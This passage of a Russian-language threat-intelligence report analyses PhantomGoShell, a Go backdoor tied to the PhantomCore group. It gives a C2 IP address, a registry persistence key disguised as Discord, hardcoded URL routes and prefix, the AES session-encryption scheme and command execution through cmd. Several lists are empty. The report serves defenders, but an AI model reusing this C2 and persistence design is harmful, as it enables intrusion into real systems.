Далее операторы PhantomGoShell протестировали техники закрепления на зараженном хосте путем модификации ключей реестра Windows и скрытой загрузки, установки и запуска опенсорсных утилит удаленного администрирования Remote Desktop Connection и AnyDesk.
Убедившись в работоспособности указанных техник закрепления, тестировщики PhantomGoShell проверили возможность открытия в браузере большого количества вкладок с аудио- и видеоконтентом и оценили загрузку оперативной памяти в менеджере задач и процессов Windows.
Тестирование PhantomGoShell проводилось его операторами исключительно в вечернее и ночное время в среднем с 20:00 до 02:00 (по московскому времени), сопровождалось неоднократным перезапуском виртуальных машин открытой песочницы с новыми экземплярами бэкдора.
2. Сетевая инфраструктура: нехарактерные URL и бэкэнд
Все обнаруженные экземпляры PhantomGoShell использовали расположенный в России C2-сервер Python WSGI «Waitress».
Обнаруженные URL-маршруты:
Параметр <prefix> зашит в код обнаруженных экземпляров.
Обнаруженный сервер:
193.124.117.89
3. Исследование PhantomGoShell: иные процедуры, урезанная функциональность
PhantomGoShell — написанный на Go бэкдор, реализованный в виде исполняемого PE-файла.
При попадании в атакуемую систему PhantomGoShell закрепляется путем саморепликации во временной директории пользователя:
C:\Users\<user>\AppData\Local\Temp
и записи пути до реплицированного исполняемого файла в ключ реестра Windows, мимикрируя под мессенджер Discord:
HKCU\CurrentVersion\Run\Discord
Через вызов WinAPI-функций PhantomGoShell получает имя зараженного хоста (hostname), генерирует произвольный 16-байтовый идентификатор сессии (ID) и сеансовый ключ шифрования (key_encryption), извлекает зашитый в код префикс (prefix).
Ряд экземпляров PhantomGoShell не использовали вызов WinAPI-функций для получения имени зараженного хоста и использовали зашитое в код значение «DESKTOP-DEV»: это подтверждает, что новый инструмент находится на этапе тестирования.
Указанные параметры сериализуются в JSON и отправляются на C2:
POST /<prefix>/connect
Параметр <prefix> зашит в код обнаруженных экземпляров:
120t9iITNhRIKaVyv54R1DQXRQJiTjHG
После установки соединения информация о командах и результатах их выполнения передается между C2-сервером и зараженным хостом в зашифрованном виде. В качестве ключа шифрования используется хеш-сумма SHA-256 от 16-байтового сеансового ключа шифрования (key_encryption), сгенерированного при установлении соединения.
AES256_CBC_Decrypt(SHA256(key_encryption), command)
AES256_CBC_Encrypt(SHA256(key_encryption), command_result)
PhantomGoShell циклично запрашивает информацию о командах, которые необходимо выполнить на зараженном хосте, отправляя каждые 2 секунды запросы, содержащие HTTP-заголовок X-Machine-Id с ранее сгенерированным 16-байтовым идентификатором сессии (ID).
GET /<prefix>/command
X-Machine-Id: ID
В ответном JSON в поле «cmd» C2-сервер возвращает зашифрованную и закодированную в base64 команду, которую необходимо выполнить на зараженном хосте.
Полученная команда подвергается декодированию из base64 и расшифровке.
Расшифрованная команда выполняется на зараженном хосте через вызов в интерпретаторе командной строки:
cmd /c <расшифрованная команда>
Результаты выполнения команды шифруются, сериализуются в JSON-объект с ключом output и отправляются с 16-байтовым идентификатором сессии в HTTP-заголовке X-Machine-Id.
POST /<prefix>/send_output
X-Machine-Id: ID
Ключевые особенности:
4. Вывод
Несмотря на частичное сходство PhantomGoShell с бэкдорами PhantomRShell и PhantomRAT, эксперты TI-департамента PT ESC полагают, что за развитием и использованием указанных инструментов, явно имеющих общую техническую базу, стоят разные хакеры.
Отличительными особенностями экземпляров PhantomGoShell являются:
На уровне сетевой инфраструктуры операторы PhantomGoShell выделяются ее малым размером (1 сервер) и использованием иного программного обеспечения — сервера Python WSGI «Waitress», не замеченного в использовании на C2-серверах PhantomRShell и PhantomRAT.
Поведенческие паттерны операторов PhantomGoShell, временные показатели и общая активность также отличают их от операторов PhantomRShell и PhantomRAT:
Более того, группе киберразведки удалось обнаружить, что за необычной активностью с использованием PhantomGoShell стоят русскоговорящие участники игровых Discord-сообществ, ряд которых достоверно являются несовершеннолетними гражданами России с незначительным опытом в проведении кибератак, получившими исходники бэкдора и консультации по его эксплуатации от участника группы с более ярким киберкриминальным бэкграундом.
Полагаем, что обнаруженная группа является ответвлением группировки, не входящим в основное звено, состоит из низкоквалифицированных специалистов, подбираемых в игровом комьюнити и Discord-сообществах, и организована в качестве собственного киберкриминального стартапа одним из членов основного костяка PhantomCore, имеющим доступ к исходникам кастомных инструментов.
Активность APT-группировки PhantomCore отслеживается с начала 2024 года, направлена исключительно на критически значимую инфраструктуру России, мотивация — кибершпионаж. Кибератаки группировки отличаются значительными масштабами при сохранении высокой скрытности: хакеры долго находятся в скомпрометированной сети, оставаясь незамеченными, что достигается путем регулярного обновления и эволюции наступательного арсенала собственной разработки.
Эффективная защита от подобных устойчивых сложных киберугроз может быть обеспечена исключительно путем использования комплексных решений, сочетающих в себе ранее накопленную детектирующую экспертизу и актуальные данные киберразведки.
Экспертный центр безопасности Positive Technologies прогнозирует сохранение высокого уровня опасности киберугроз для российских организаций, исходящих от APT-группировки PhantomCore. TI-департамент PT ESC продолжает отслеживать активность группировки, своевременно предупреждать жертв о готовящихся кибератаках и поставлять уникальные данные киберразведки пользователям продуктов Positive Technologies.
В целях защиты от кибератак APT-группировки PhantomCore рекомендуется: